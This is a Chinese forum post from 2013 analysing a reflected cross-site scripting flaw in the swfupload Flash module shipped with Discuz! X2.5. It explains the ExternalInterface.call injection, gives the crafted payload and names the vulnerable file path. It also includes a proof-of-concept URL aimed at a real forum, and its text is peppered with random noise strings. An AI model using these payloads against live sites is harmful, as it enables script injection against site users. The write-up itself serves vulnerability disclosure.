找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1869|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
; b; L6 U- `9 _5 A6 e+ Z2 d6 T5 q7 p+ z: h& A- m- ?) w4 C& A
flash.external.ExternalInterface.call($methodName, $parameter)/ u5 Y+ Q2 u( l7 ~9 \
在浏览器中执行的是; p. x0 X) Z' [. [2 W: [0 ~5 m. y

# C5 o$ \) c4 j  |+ R5 Ptry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
0 v$ q( V7 d) _; [0 Q对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如; U6 A( I6 ?0 E$ w7 S" W2 f" m/ K) W8 B
# A# H# M5 Y6 t6 X, \0 Z
flash.external.ExternalInterface.call("object."+$methodName, $parameter)4 I; ^, S* ~! J1 ^+ B2 l
$methodName = a())}catch(e){alert(/xss/)}//
" ?# X9 `! e, Y结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
% {' T, M/ O# }9 v1 u) @! Y2 Z3 k* h5 X8 j6 v4 R( c. N" Z
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }% S* V! ]. K$ d7 V6 T* I% r

- X) k7 E& N. L2 P# Z这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )' U% s& x5 P6 N+ F" E
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。/ _0 f$ W6 p) l7 z6 e  Q% v3 X% k

4 x' n, b4 V) @6 O! |/ ]5 P/ O, F: F  [. T1 O" S7 K
2 M) N$ @8 ]" {: X& Z0 M# l) _
漏洞文件:upload\static\image\common\swfupload.swf3 A% b4 S" n* B; x& d7 E  X% C% ]

$ C* I$ p' q& d, r9 E原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
! `( y) u$ z6 c" S
3 T+ U; H% {& P4 _4 w. t, L3 M3 g6 S( b
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
2 c: O# r( I& F/ s- Z
3 p% Y/ |' G3 G
4 P! ]1 L5 Q' U/ p2 y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表